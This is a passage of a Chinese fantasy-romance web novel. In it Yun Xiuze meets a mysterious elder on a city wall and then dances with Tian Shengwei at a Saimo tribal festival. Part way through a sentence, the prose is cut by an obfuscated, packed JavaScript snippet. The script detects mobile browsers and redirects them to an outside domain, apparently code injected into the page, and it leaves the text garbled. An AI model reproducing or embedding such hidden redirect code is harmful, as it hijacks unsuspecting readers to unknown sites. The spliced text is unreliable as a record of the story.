唐思月愣住了,行愿也凝神看过去,两个刚刚醒来的人,还没能理解或者还不愿理解他们的意思,她看向云修泽,云修泽却侧过头抿起了嘴,眼中闪过的一丝痛苦被她清晰的捕捉。 她又看向那枚妖丹,用刚刚恢复的一点儿微薄的灵力试探的去触碰,在上面感受到了熟悉的气息。 是秉唯没错。 “这究竟......是怎么回事?” 云修泽疲惫的笑了笑,缓缓开口说起了事情的来龙去脉。 几个人都安静的听着,屋中只有他低沉的声音,他尽力在用简短的语句说明,声音却依然变得有些晦涩。 行愿的手紧紧握在刀柄上,说起灵儿时,眼中却透露了几分不解。 唐思月则久久的沉默,没有预料中哭泣的样子,只是感到了一种自责。 “鬼市的那枚妖丹,实力大涨,嗜睡,妖力乱冲,我早该想到的。” “这不怪你。” 云修泽坐在床边,天盛微的手搭在他的肩上揉捏着安抚。 他嘴里说着安慰别人的话,自己却没有真的打起精神。 天盛微注意到这一点,想,修泽虽然知道自己不是真正的元凶,但秉唯又的确是为了救他才丢了性命,想必心中还是会跟自己过不去,于是岔开话题,说道。 “好了,思月跟行愿大哥都是刚刚醒来,恐怕精力不济,让他们好好休息吧。” “也好。” 云修泽打起了点精神,站起身,道。 “逝者已逝,现在重要的是你们,今天刚刚醒来就不折腾了,明日咱们就搬去徐城主为我们准备的宅邸,好好养伤。” 唐思月笑着应了,目送他们离开后,看到还站在房中的行愿,问。 “苦了你了,实打实的伤落在身上不疼吗?怎么还不去休息?” 见行愿有点犹豫,于是招手让他靠近了些。 行愿紧靠着坐在了她床边的脚踏上,仰头看着她,任她掀开面具查探了一下自己的面色,倒是没什么大碍。 “你想问灵儿为什么这么做?” 行愿点头。 “她很矛盾,既然下定决心要以秉唯为饵,又为什么要想办法救他呢?” 唐思月挑起一缕他的长发,捏在手中摩挲,语气不明的问道。 “那你觉得,什么是善?什么是恶呢?” 行愿一顿,看着她谨慎的说道。 “用饵为恶,救他为善。” 唐思月笑了笑。 “站在我们的角度,或者说站在人族的角度,的确如此,但对妖族来说却是恰恰相反,若是牺牲一个,就能换取整个族群的自由,如何不是善呢?” 行愿不说话了,良久,才接着问道。 “那灵儿又为什么要救他?” 唐思月单手将他的长发打了个不容易解开的结,漫不经心的还回去,让他自己去解。 “也许因为她是姐姐,又也许是因为愧疚,谁知道呢?” 唐思月饶有兴趣的看他闷头摆弄,接着说道。 “善与恶的界限从来都不是分明的,从前你只是在看,这是你第一次问我,我很高兴。” 行愿胸膛的起伏微微变大,也许他自己都没意识到自己这么干了,眼神几乎是瑟缩的,像是鼓足了勇气才露出了一点僵硬的笑意。 “我...我会......慢慢来......” 唐思月笑着拍了拍他的肩膀,没再就这个事情继续深入。 “好了,回去休息吧。” 本以为他会带上面具乖乖离开,可谁知他却闷不作声的摇了摇头,唐思月不解。 “怎么了?” “你一个人,还有伤,我想留在外间。” 唐思月失笑。 “你明知道我的伤没事,还没你的伤重,外面的窄榻可放不下你这么大一个。” 行愿固执的摇头,唐思月拿他无法,也罢,愿意守着就守着吧。 终归是好过一个人。 * 云修泽正在打坐,醒来时缓缓吐出口浊气,睁眼就发现天色已暗,屋中未点烛火,只有月光冷清。 他回房后,总是控制不住自己去想秉唯,原本已经脱离了伤感的情绪,今日提起,仍然不能释怀,于是干脆修炼起来,一时不察,竟然连晚饭都错过了。 他起身走下床,转眼却发现了放在桌上的晚膳。 是阿微来过。 云修泽心中涌起淡淡的暖意,很想见她,但天色已晚,又恐惊扰她休息,摇摆了许久,还是决定放弃。 饭菜还是温热的,云修泽送入口中慢慢的嚼着,用了很长时间才将这顿迟了许久的晚膳吃完。 心中静不下来,出神的望着月亮,最后决定出去走走。 风和雪都已经静了下来,空气是冷的,夜半的路上空无一人,只有靴子踩在雪上发出的吱呀声。 云修泽没有什么想去的地方,漫无目的的乱走,却发现无论到了哪里,人家的门户上都无一例外挂着白色的麻灯,这是在告知外人,家中有人去世。 云修泽没有听说徐城主下了这样的命令。 在战场上死去的将士都是被调兵来此驻守,并非是百姓自己的后辈,可就算如此,他们还是自发的为其哀悼。 他们用性命守卫了一方城池,那便是这里的子民,说不出来自谁家,那便所有的人都是他们的亲友。 意识到这点,云修泽心中动容,那无法归乡的将士也算是有了安息之处。 雪映着月光,黑夜也不显得黯然,云修泽心念一动,突然有了再登城墙的念头。 修士修行,很多时候都是福灵心至,从不忽视任何一次突如其来的直觉,此刻也是如此,想到的下一刻便开始动身,运起轻功向城墙奔去,留在雪上的痕迹都浅的近乎没有。 城墙还有巡逻的人,见到云修泽并没有阻拦,在听到他只是想过来看看后,便放任他随意走动。 云修泽看着外面还留有痕迹的焦土,白雪都无法完全将其掩埋,这里安静的不成样子,很难想象前两天还见证了无数生死。 他在城墙上顺着外沿慢慢走着,视线一直从外墙延伸到底部,高耸的视角让人在黑夜中很难看清城下的风吹草动,但应该不至于连个活生生的人立在那里都看不见。 云修泽盯着那个人,带着斗笠,身着布衣,却没有掩藏一头醒目的白发。 他冷静的审视着,城墙上下那么多巡夜的人,竟然没有一个发觉他的存在,存在感低的几不可见,云修泽还从未在除行愿之外的人身上见到过如此高明的隐匿之术。 这不是个普通人,是修士,而且实力绝对不弱,他想干什么? 那人伸手摸上了城墙,不为外人所知的结界瞬间就如同被惊动的水面,在他手下泛起了柔和的波澜。 云修泽微讶,不由自主向他的方向挪动了半步,那人好像立刻察觉到,向他所在的位置微微扭头,却没有离开之意。 既然被发现了,云修泽也不再隐藏,飞身来到了他的附近。 “这位老伯......” 那人转过头,鹤发之下却是一张年轻的脸。 “这位道友......” 他一笑,又好似并不那么年轻,露出点慈爱的意味。 “......这位前辈......” 云修泽难得被噎的说不出话来,无言了半天,那人也只是笑眯眯的等着他。 “......敢问前辈姓名。” “无名小卒,无名小卒。” 他答的很顺畅,仿佛很习惯回答这个问题,云修泽见他不肯说,也只能换个问题。 “前辈这是在做什么?” “哦。” 他扶了扶斗笠,扭头看向城墙,随意的说道。 “我路经此地,感觉这个阵好像被发动了,故来此一探。” 云修泽暗暗打量着他,他不仅知道这里有个结界,而且还能在某种程度上感知到? “敢问前辈,此阵是出自您手吗?” 那人哈哈一笑,用一种‘你快别跟我闹着玩儿了’的语气说。 “怎么可能?” 不是他?云修泽刚一皱眉,他就又改口道。 “好吧,好吧,的确是我。” 云修泽抛去惊讶,第一反应是无语凝噎,和笑容一起僵在脸上,被他看了,反倒又哈哈笑起来。 “现在的小孩儿真好玩!” 云修泽深吸一口气,上一次感受到这种面对长辈的无力还是在央玉身上。 “那么,您看出什么来了吗?” 那人很快恢复了平静,端详着城墙,摸了摸下巴。 “它倒是没问题,只不过轻易不会被触发,一般来说都是发生了什么事情才对,多年前那么大的事我没赶上,后来闰和找到我,要我帮忙设个结界,本想着有了结界就不会再错过了,看来这次也与我无缘啊。” 他的目光扫过城门前方的战场,残骸在夜晚显得更加凄凉。 他说的随意,却不知因为这段话,云修泽脑中在刹那间涌起了多少纷杂的念头,万千思绪蜂拥闪过,云修泽握拳的手逐渐用力。 这个人绝不简单,他活跃在上一代,甚至于还要靠前,他一定知道些什么! “前辈,或许——您见过镜双子吗?” “嗯?” 他的目光落到云修泽的身上,一瞬间似乎是在打量他,但那种审视的感觉又马上消失,仍然顶着一张老好人的笑脸。 “斜月和瑶情吗?好孩子,你能这么快发现我,证明你很强,年轻人心气儿高,总是想争个天下第一的名头,你是想找他们打架吗?” 云修泽不知道他是什么意思,只是沉声试探道。 “若我说是呢?” 那人揣着手,顶着一张年轻人的脸,老气横秋的说 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“孩子,我看你深夜来此,是有什么心事吗?” “我为何要告诉你?” 他歪了歪头。 “你当然可以不告诉我,看你自己的意愿。” 他长了一副很值得让人信赖的模样,云修泽想,又有多少人被他这个样子骗过呢? “......我有一位朋友为我而死。” 那人露出点儿哀伤的模样,就像是他真的能够感同身受一般。 “那真是可惜了,你在烦恼什么呢?” 云修泽抬起下巴,盯着他看了片刻。 “前辈,你能够坦然的接受身边的人离开吗?” 那人状似不解,理所当然的反问。 “为何不能?” 云修泽本以为会听到什么人生道理或者点拨,但等了片刻,发现他似乎根本没有这个打算,而且是真诚的觉得为何不能。 云修泽不能理解。 “您没有亲友吗?如果他们为您而死,您真的能够坦然接受吗?” 他笑着端详了下云修泽,没有回答他的问题,转而说起了其他。 “孩子,你很不错,但是要懂得调理自己的情绪,现在的你是打不过斜月和瑶情的,唔......也许加上你后面那个女娃娃可以试试。” “什么?” 云修泽一惊,回过头,就发现天盛微不知何时站在了那里。 那人盯着她思索了片刻。 “这个身形步伐......秦央玉?” 天盛微一步步走到云修泽身边,看着这个全然陌生的人,心中的惊讶和警惕并不比云修泽少上半点。 原本她就是不放心云修泽,远远的跟在他后面出来的,见到他们动手,就没管太多靠近了一些,准备随时支援,却没想这人居然早就发现了她,甚至还一眼就看出她师从何人,就连师傅本来的姓氏也都知晓...... “敢问前辈名号。” “无名小卒,无名小卒。” 听到这熟悉的回答,云修泽有些失笑,低头小声问道。 “你怎么来了?” 虽然这么问,但其实原因他都想得到,不可否认的是,见到心心念念的人,心中如释重负般的喜悦一时间压抑不住,恨不得立刻将她揉入怀中,但碍于有别人在场,最终也只是化为了手背指节一次轻轻的触碰。 那人站在远处,看着他们亲密的姿态,忽然好奇问道。 “你们是什么关系?” “我们?” 云修泽一愣,天盛微向前走了半步,拿剑挡在了他的身前。 “我们是何关系,对前辈来说很重要吗?” 那人挨个整理着自己的斗笠、长发和衣饰,朴实的笑着回道。 “老人家的好奇心啊。” 还没等他们反应,他就忽然伸手指向了他们身后。 “他也是跟你们一伙儿的吗?” 两人下意识的回头,以为是谁又跟来了,可谁知身后却空无一人,再回头时,刚刚还在这里的那人就已经消失的无影无踪。 天盛微蹙眉追了几步,却根本察觉不到他有遗留的痕迹,只能无奈作罢。 回到云修泽身边,似乎是有些不开心,低头摆弄着他的手。 那人显然知道很多常人不知道的秘密,身手也同样高深莫测,这样一个人,却从来没有听说过,今日突然出现在这里,又宛如从未来过一样消失。 按理来说只会让人感到威胁,云修泽心中却有些预感,也许以后就很难见到此人了。 他低头扣住了天盛微的手,两人十指交握,手心暖融融的,驱散了冬夜的寒冷。 “好了,不必在意他,我们回去吧。” 天盛微摩挲了下他的手背,垂眸道。 “好。” 两人并肩而行,没有用上更为方便的轻功,只是慢慢走着,在雪地留下两行脚印,也许明日清晨就会融化,但在他们的记忆中却始终存在着。 云修泽目光柔和的看向身边的天盛微。 我们是什么关系呢? 是我认定的道侣,是我心中挚爱,也是我可靠的同伴,是我此生的知己。 83. 曲衣二十四 那个‘无名小卒’的出现仿佛又为整件事情蒙上了一层薄纱,模模糊糊的像是能看透其中的样子,但其实还是无法触及,平白让人生恼。 回房后云修泽和衣躺下,却没有多少睡意,刚才那人的话被他反复想起,恨不得能逐句分析其中的深意,面对死亡时那种坦然的态度让云修泽感到疑惑,他虽从小磨练不断,但最多不过重伤一场,还从未真的经历过亲近之人的生离死别,在他心中着墨最深的还是年幼时母亲隐忍绵长的恨意。 影玖在他面前自戕时,感受到的陌生的感觉不知道能不能称为悲痛,也许更多的只是亲眼见证一个辉煌时代彻底落幕的感伤,而秉唯则是让他心中空了一块,但他其实早就明白,风平浪静的时代也不可能真正离开消亡。 那人说让他调理自己的情绪,他也隐约明白,这一切都发生的太快,一件又一件的事情接踵而至,生杀掠夺,大起大落,他脑中的那根弦越绷越紧,稍微有点风吹草动就恨不得一跃而起将一切危险排除,长此以往肯定会损耗自身。 云修泽双手搭在腹上,默默祈念着一切的平复,也许有一天,他也能够平静地面对告别...... * 关于那个神秘人的出现,云修泽和天盛微并没有告诉其他三人,既然事情没有实质性的进展,跟他们说了恐怕也只是徒增烦恼,云修云和行愿暂且不提,唐思月定然会多思多想,还不如什么都不说,先让他们把身上的伤养好。 几人按照昨日的约定,收拾了东西准备搬离客栈,徐城主不知从哪儿听说了消息,竟然亲自上门要带他们前往宅院,大战之后,列七锋身受重伤还在修养,符康将军在徐城主的请求下担起了一部分列七锋的职责,正帮忙安顿将士,根据人手重新为森阳规划,而他自己也是忙的脚不沾地,直到今天才勉强腾出空来见他们,嘴上还不停因为怠慢告罪。 众人理解他的难处,也并不想要什么特殊对待,在他提出要为五人在城中塑个铜像的时候果断摇头拒绝了,见他有点遗憾的样子,又问道。 “难不成之前给镜双子塑过吗?” 徐城主说。 “那倒没有,听说是提议过的,但是他们以铜像太丑的原因拒绝掉了。” 云修云抽了抽嘴角,小声跟唐思月说。 “幸亏拒绝掉了,我也觉得很丑。” 唐思月深以为然。 徐城主为他们准备的宅子很是清幽,里面还有天然的温池,很好的中和了干燥的冬日,的确适合养伤。 “徐城主有心了。”云修泽拱了拱手。 “哪里哪里,几位道友莫要折煞我了,这次森阳遭遇此等危机,若没有几位挺身而出,恐怕还不知会变成什么样子,徐某还要代替全城百姓谢过几位大恩大德才是!” 说着他就朝几人深深弯下了腰,云修泽没有阻止他,等他行完一礼才伸手将他扶了起来。 “保护百姓本就是修士的责任,森阳因为有您在才是真的气运未绝。” 徐城主注意到了那个叫秉唯的小少年自大战后就再也没有出现,想起之前在城墙上见到的那个陌生孩子,心中也大概有了数,唏嘘的同时也没主动提起,他们既然没说,那就让这件事情悄无声息地过去吧。 “净安寺来的师傅们现在何处?我们有过前缘,还当拜访才是。” 徐城主刚刚安排下人往府中搬了好些东西,闻此说道。 “哎呀!实在不巧,他们今日清晨就已经离去了,若早知你们有旧,我就让人提前来说一声了!” 居然这么快就离开了?不过也是,此事事关紧要,自然越快越好。 “无事,徐城主不必介怀。” 徐知书陪着几人安顿下来,又差人记下了他们所需的药材,千叮咛万嘱咐,让他们一定要好好将养,有什么需要再跟他说,说话的期间一直有送消息的来找,立在一旁也不敢打扰他,直到忙完才敢上前,又是一番客气地告别,几人才算送他离开。 云修云松了松肩膀,有点受不了这种推三阻四的客气。 几人安心在这里安顿了下来,本来前往计都的计划被暂时搁浅,他们身上的伤不养个十天半个月是好不了了,短时间内都得留在这里。 那些参与大战的修士后来来拜访过几人,那么多同道中人聚在一起论道切磋,倒是给了云修泽几人少有的体验。 而幼宁身为军师不知为何清闲的很,三天两头的就来探望他们,唐思月似乎对他的体质很有兴趣,时常拉着他研究,制些新药,导致云修云看他眼睛不是眼睛鼻子不是鼻子的,偶尔酸上两句,还被他风轻云淡的怼回来,两人你来我往,几乎成了几人消遣时的乐子。 问起军队什么时候回计都,他说估计要等节后,说的几人一头雾水。 “年节不是过了吗?还有什么节?我们怎么不知道?” 云修云正百无聊赖地抛着一枚铜钱,闻言还差点没有接住,大约五六日前是一年的岁旦,而森阳刚刚经历了一场大战,暂时还没有缓和过来,并没有大肆庆祝,他们也没有出门,还真不知道还有什么节日。 “你们不知道?” 这回轮到幼宁惊讶了,扭头看云修泽和天盛微,发现他们也不知道才清了清嗓子解释起来。 “是赛摩族的火讫节,本来是为了祈求平安福泽的,他们定居在这里后,也有了祈求风调雨顺、生生不息的意思,到时候他们会聚在一起唱歌,有一男一女会在祭台上跳祭祀的舞,天象会在短时间内发生好几种变化,很是神奇,你们没见过的话倒是可以看一看。” 云修泽和几位同伴对视一圈,问。 “年节都没有如何操办,这个火讫节却要筹备吗?” 幼宁点了点头。 “似乎是如此,还有差不多半个月的时间,森阳需要脱离战争带来的阴云,应该是正好借此安抚众人、告慰英灵。” 半个月啊......到时候他们的伤估计也好的差不多了,不过......云修泽想,他们一直在为镜双子的事情奔波,偶尔停下来也没关系。 注意到他们没有马上回答,幼宁突然想起了什么,说道。 “话说上一次大战也是差不多的时节,镜双子还担任了祭祀的舞者来着。” 云修云放过了那枚铜钱,扭过身子一副很感兴趣的样子,几人都有点惊讶,对于镜双子,世上流传的更多是他们强大的实力和乖戾的性格,跳舞这种带了些柔和享乐色彩的东西和他们联系起来,反倒让人觉得新鲜,云修泽挑眉。 “祭祀的舞还能让外族人跳吗?” 幼宁道:“一般来说肯定是不可以的,但镜双子对于赛摩族几乎是有再造之恩,所以才会破例邀请他们担任祭祀的舞者。” 天盛微忽然想,祭祀一般都会被专门编撰记录,碰上十分重要的,还会专门找来留影石一起封册,赛摩族应该也是如此才对,她这么想便也这么问了,可谁知幼宁却摇了摇头。 “我知道你们对镜双子的样貌很好奇,但是赛摩族世代流浪,一直到了他们这里,才算是定居下来,并没有这样的惯例。” 得到否定的答案,几人也没有太过失望,幼宁接着说道。 “你们不用着急离开,就算今日我不说,恐怕过几日徐城主也会亲自来邀请你们。” 幼宁说的没错,果然,两天之后徐城主就亲自上门,希望他们能参加这里的火讫节,甚至还带来了赛摩族族长的一个邀请。 “让我和盛微担任舞者?” 云修泽的脸色有点奇怪,时至今日,他也仍然会为这种高度重合的轨迹感到心惊,不由苦中作乐的想,也许世人都来走一遍相同的路,就全都能达到镜双子那样的高度。 “邀请我们没关系吗?我们毕竟是外族人,也并不像镜双子那样对他们有天大的恩情。” 徐城主笑意从容。 “云公子有所不知,他们定居在这里之后也逐渐开始和这里的百姓通婚,已经彻底融入了森阳,这次森阳得以保全,如何不能说是天大的恩情呢?” 既然如此,云修泽看向天盛微,心中有些意动,私心很想看看她跳舞的模样,天盛微看出了他的心思,罕见的勾起一抹淡笑。 “那便跳吧,我们应下了。” “哈哈哈!如此甚好!” 徐城主笑容舒展,显然很是开怀。 等将他送走,转头对上云修云兴奋的眼神时,云修泽才突然意识到没有这方面经验的自己也得上场,怪不得天盛微的眼神有点奇怪,原来也是存了点儿看好戏的心思。 天盛微拍拍他僵硬的手臂,有点调侃的说了句共勉后就摆摆手离开了这里,留下云修泽一个人凌乱。 身为大族公子,虽然除了武艺之外,琴棋书画皆有所涉猎,但对于跳舞也仅仅是可以点评一二的程度,让他亲身去跳,还真是没有过,反倒是天盛微,出身就是贵族女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16355640|177559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子,很大的可能是学过的。 云修云就不指望了,看着正欲离开的行愿,云修泽抱了点儿死马当活马医的期望。 “行大哥......” 行愿步子一僵,随即就如同没听到一般,不仅加快了离开的步伐,甚至还用上了轻功,背影的落荒而逃之感十分明显。 云修泽:“......” 他一捂额头,还是太草率了,被美色迷了心智,连自己都要搭进去,现在这种情况该怎么办?总不能再专门让徐城主找个跳舞的来教自己吧。 云修泽有点儿犹豫,那可真是丢人丢大发了...... 不过好在徐城主还是善解人意的,很快就送来了消息,告知了他们祭祀确切的时间,又送来了一些赛摩族的人。 有两个人专门量了云修泽和天盛微的身量,要去准备祭祀的舞服,剩下的就分为男女两拨,分别教两人如何跳祭祀的舞蹈。 他们是有着厚重历史文化的种族,舞蹈带有强烈的种族特色,男子大开大合,舞姿粗犷,展现了蓬勃的生命力,女子则更加轻快,动作间有一些神性色彩,似乎是在对应玉鸣鸟的身份。 按照他们的传统,就算是两人共舞,也要分开各自练各自的,就连制好的服饰也不允许他们互相看过,一直要等到祭祀那日才可相见,据说是两人配合的越默契,祭祀所求的成效就会越好,被云修云调侃和成婚也没什么两样。 云修泽学的很心累,明明舞刀弄剑的很是灵活,但当他放下武器,就宛如木偶丢失了最关键的关节一般僵硬起来,云修云每次看的都乐不可支,就算云修泽事后收拾他,也总是卡着危险的边缘来回试探,乐此不疲的嘲笑他哥难得一见的窘态,甚至还拿出了留影石,说以后要带回去给云父云母看个乐子。 云修泽在先修理弟弟和先破坏留影石之间不断摇摆,最终还是痛心的容忍了下来。 不过好在他们是外族人,赛摩族的人对他们的要求并不高,发现云修泽实在是跳不出他们的感觉之后,就退让了许多,表示让他怎么舒服怎么来,只要加上赛摩族一些特有的动作,不至于完全丢失他们的灵魂就好。 不知道天盛微那边是什么样的情况,反正云修泽是狠狠松了一口气。 唐思月一般待在天盛微那边,行愿自然就跟去了,云修云常常陪着他,这日甚至还带来了幼宁。 “大哥!我们打听了一下当年镜双子跳的祭祀舞,听说那场面!可好看了!当时祭台上燃起了火焰的红莲,他们两个穿着红衣服,居然是踏着火莲出现的!我去!想想就很帅惨了!哥,你们也想一个特别点儿的出场方式,咱不能被他们比下去啊!” 红衣服?云修泽想了想,他们送来的服饰的确是红色为主,上面的挂饰叮叮咣咣的动起来,还会发出雷电般的声响,云修泽很怀疑镜双子是因为这个衣服也是红的,才没有拒绝这件事情。 见他思绪又跑远了,好像并不是特别在意这件事情,云修云深感责任重大,决定要自己将这件事情办好,转身就拉着幼宁开始商量。 赛摩族的祭祀服并不算轻,但重量却不是来自于复杂的裁剪和布料的堆叠,相反,它整体看上去是轻盈的,不是广袖宽袍,也不是他们常穿的窄袖,而是更加贴身的,勾勒出了云修泽劲瘦的身体线条。 重量一大半都来自于他身上佩戴的首饰,腰间就有四个分量十足的,据说是玉鸣鸟原形模样的挂饰,不知什么原理,动作间能够发出雷响,甚至音色还各有不同。 臂钏、手环和脚环,还有由小到大堆叠的项圈,占比最大也最夺人注目的却是头上那个形制特殊的头饰。 银环固定在后脑,上面缀着十几条长长的银链,一直垂到了他的小腿,模样很是精致,最重要的是,当你动作大一些碰到它时,也能听到轰隆的雷响,而且不同于腰间那四个宛如合音般的动静,整体就像是刻意敲响的擂鼓,十分的清晰有力,导致云修泽穿着它行走时总是小心翼翼。 他站在祭台的正中央,脸上抹了几道白色的雷纹,鼓声轰然一响,赛摩族的歌声便毫无征兆,如同向天地宣战的战士一般狂放的响起。 祭祀正式开始,然而天盛微的身影还未出现。 云修泽茫然不过片刻,漫天的红色花瓣便从头顶纷扬落下,当他抬头,就不期然看到了心中那人从空中翩然坠落,宛如垂爱世人的仙子,又像是迷惑心智的鬼魅,向他伸手,索要跳动的心脏。 84. 曲衣二十五 对于情之一字,年幼的云修泽所了解到的都是来自于他的父亲,父亲曾说‘是你们母亲叩开了我的心门’,后来长大了些云修泽才觉出那话的肉麻来,但书上说的也都相差无几,所以他觉得大概就是如此了吧。 当他爱上某一个人时,应该也会感到心门被轻轻叩动,但是事实却并非如此。 云修泽一把接住天盛微,揽着她柔软的腰肢,顺着落下的冲劲在红色的花雨中旋转不止。 最先出现的是风,清风托住了花瓣,宛如拥有生命一般绕着两人欢呼雀跃的舞动,追逐着天盛微的指尖,曲线华美又有着自然的轻狂。 天地间似乎只剩了他们在翩翩起舞。 云修泽从不怀疑两人的默契,但真的每一个动作都无比契合的时候,心中还是满的几乎溢了出来。 云修泽想,事实并非如此。 他的目光追逐着她的眼睛,想起了他们在唐府的第一次交锋,这哪里是在轻叩他的心门,这简直就是疯狂拍门,拍还不够,还恨不得踹烂了闯进来再洗劫一空。 云修泽时常担忧在她面前露怯,但偶尔又觉得自己早被这个心思细腻的姑娘彻底看透。 陷的如此之深,不知最后是会变成爱河还是泥沼,但总之是无法全身而退。 云修泽拉住她递来的指尖,一把将她拉入怀中,借着花瓣的掩护,鼻尖蹭过她的额珠,轻轻在她的额头上落下一吻。 我甘心坠落。 赛摩族举族的歌声在城中响彻,却让人多少有点为之惋惜,这声音像是高山的精灵,像平原奔腾的野马,像空谷呼啸的狂风,也像风和日丽下汩汩的溪流,让人深深的觉出他们本是自由的民族。 风渐渐平息下下去,遮日的云被吹开,暖融融的光倾洒,他们的歌声随之变得柔和,众人一起哼唱着,曲调轻快惬意,让祭台之下的少年少女也跟着随性舞动起来。 中间空出一大片空地留给他们,除了赛摩族人,竟然还有不少普通孩子。 裙摆在云修泽的眼前掠过,轻柔的外纱似乎是碰到了他的额头,和它的主人一样,让人忍不住就想要拥入怀中。 大片的红色过后,灿烂的阳光就倏然消失,取而代之的则是细密到几乎成了一片雾的雨。 歌声变得悠扬而神秘,起伏却随着雨势变得越来越剧烈高昂,就像是一首鼓舞人心的战歌,出现在即将开战的时刻! 雨丝并没有洇湿他们的衣裳,裁制的用料似乎是特制的,在雨幕中也没有影响到他们的动作分毫。 两人之间再不复刚刚的温情脉脉,云修泽能察觉到天盛微眼神逐渐变得凌厉,分开在祭台两侧的他们成了势均力敌的对手,等待着战争号角的吹响! 云修泽脚尖滑动后撤的动作在台面上溅起一道半身高的水花,腰间的挂饰随发出隐约的雷响,和激昂的歌声契合非常,声浪一阵高过一阵,云修泽心中隐约明白有什么即将发生,严阵以待的情绪被不断提高。 终于! 随着他翻身后踢的一个动作,脑后的头饰第一次被正式打响,天上降下一道刺目的白光打在祭台的正中央,雷鸣声轰然炸开! 如此近的距离,云修泽只感到战栗不休,仿佛这道雷真的打在了他的身上,震得连指尖都在颤动。 但他没有后撤,反而疯了一般急速向那道雷奔去,伸长了手像是要趁它彻底消散前将它抓住! 台下能看到云修泽这半边的众人不知道他要干什么,制止了差点要动手的云修云三人,同时为他捏了一把冷汗。 他的速度越来越快,在众人的眼中几乎就是真的用手碰上了天雷,然而天雷却是残像,他真正抓住的,是同一时间与他做了同样举动的天盛微的手! 雷光彻底散去,俩人眼底映出对方有些气喘的模样,也惹来了举城的欢呼! 惊雷过后,天色重新变得雪白,祭祀的歌声悠然静谧,最终化为了阵阵带着古老色彩的呢喃,雪静静的飘落。 无数鲜花、漂亮的矿石、装在福袋里的果子纷纷被扔上祭台,祭祀最重要的部分顺利完成,赛摩族族长拄着比他还高的拐杖走上台,身后跟着一个少女,手中捧了一块银色的织布。 到了他们面前,族长颤颤巍巍的将其展开,算不上是顶级的精美,但是特殊的织法和织料却让它有了独一份的流光溢彩。 他亲手将它郑重的披在了两人肩上,这个老人经历的无数风霜都化在他的眼中,干枯皱褶的手指碰了碰自己的额头又分别触上了他们的眉心,张嘴用苍哑的声音说了句两人都没听懂的话。 正当他们不解时,他身后的那个少女笑吟吟的凑上来,开口道。 “这是我们赛摩族的话,意思就是祝你们繁荣、像天雷一样英勇!” 她的肤色偏黑,却是个实打实的美人,一身特殊的装扮和眼睛,更衬得异域风情叫人心动,而她眼波流转落在云修泽的身上,满意的神色十分明显。 赛摩族民风开放,祭祀舞的舞者也并不一定是伴侣,若看上了谁大多都是热情的邀请,此时这个姑娘显然就是对云修泽有意。 天盛微将裹着两人的银布扯下来一把罩在了还在迷茫中的云修泽头上,直视着那个女孩,拒绝之意也彰明较著。 云修泽被盖住了也不反抗,老老实实的顶着,等天盛微什么时候再给他掀下来。 云修云在台下皱眉端详着他们,片刻后一打响指,了然道。 “你们看他们像不像新媳妇入洞房?” 这个场面和云修云的话似乎对行愿产生了一定的冲击,僵着肩膀好一会儿都没动静,唐思月则忍俊不禁,偏过头笑的肩膀一抖一抖,还善良的抽出空来叫他别乱说。 云修云一言难尽的看着她手中稳稳录着的留影石,挣扎片刻还是决定一起同流合污。 重头戏过去之后,众人就开始四处奔走,准备酒水晚宴。 围绕着祭台有一大片空地,错落有致的摆满了矮桌,这一天几乎全城的人都聚集在这里,坐不下的便依次散到了周围的酒楼,等到了晚上,中间还要升起巨大的篝火,大家一起载歌载舞,互相有好感的会相约一起离开,总之是热闹非凡。 现在整个场地都变得忙忙碌碌,有心者已经开始寻找晚上的舞伴,没有人再去注意云修泽和天盛微的去向,只除了那个刚刚跟着族长一起上了祭台的姑娘。 云修泽迷茫的跟着天盛微躲在楼后面,看她探头的背影,也跟着凑上去,顺着她的视线看到了刚刚给他们送织布的少女,她在人群中左顾右盼,似乎正在找着什么人。 见她视线往这边看过来,云修泽刚想躲开就一个踉跄被天盛微提前拉了回来,她抓着他的手七拐八拐的到了一个酒楼的外檐下,这里离刚刚的地方不算近了,没有人影,只有飘雪,显得很是安静。 云修泽渐渐回过味儿来。 “你不会......是吃醋了吧?” 他越说越压不住笑意,从前只有他吃醋的份,头一次被她吃,美得几乎控制不住想要追着调笑。 天盛微一个眼刀甩过来,瞬间扎破了他蠢蠢欲动的心。 刚才万众瞩目,现在他们连云修云,唐思月和行愿都抛下,抢来一点两个人的闲暇。 云修泽后退两步,歪着身子靠在了墙壁上,带着点儿笑意专注的看她。 “你今天很美,阿微。” 天盛微褪去了平日的罗衫劲装,穿的与他风格相同,细节处却显得更加精美。 她的头饰不是长长的流苏模样坠在脑后,而是变成了飞羽别在两侧,双耳挂了玉鸣鸟的耳珰,衣摆层层叠叠却不显得臃肿,上面还染有精美的暗纹,总体来说更加简约大气,凸显了神性,两人比起来,竟然是云修泽更加花枝招展。 花枝招展的云修泽欣赏着简约大气的天盛微,叹道。 “你父母不知有多好看才能生下你这样漂亮的女儿。” 天盛微缓步走来,让他的背完全靠在墙上直至退无可退,鼻尖靠近他的下颚,逼他仰起了头,看他游刃有余显得戏谑的笑脸,还有那截然不同已经红透的耳廓,顺着他的话,平静的回道。 “他们也不知道什么样的人才能配上他们漂亮的女儿,你呢?” 这句话问的模糊又让人心动,像是在说‘你可以吗?’,又好像是在说‘你觉得什么样的人可以呢?’。 “我觉得......” 云修泽蹭着她的脸颊低下头来,声音在无限接近的双唇中变得暧昧不清。 “非我不可。” 他猛然吻上去,将肖想多时的人贪得无厌的抱入怀中,拇指摩挲着她的耳侧,皱着眉感受到了同样热切的回应。 * 雪不知何时已经停了,篝火带着温度的火光落在人们的笑脸上。 幼宁托着下巴盯着云修云,他在这儿已经坐了有一阵子了,这个傻子愣是专注着手中的动作没注意到他,或者说没搭理他? “咳咳!” 云修云被突如其来的声音吓的手上一抖,差点就要刻歪,有点恼怒的回头,看到是幼宁又松开了眉头。 “你干嘛?” 竟然是真的没注意?幼宁起身坐到他身边,指了指他的手,问道。 “你又在干嘛?” 云修云已经重新投入了动作,敷衍的举了举手,道。 “看不出来吗?刻簪子呢。” 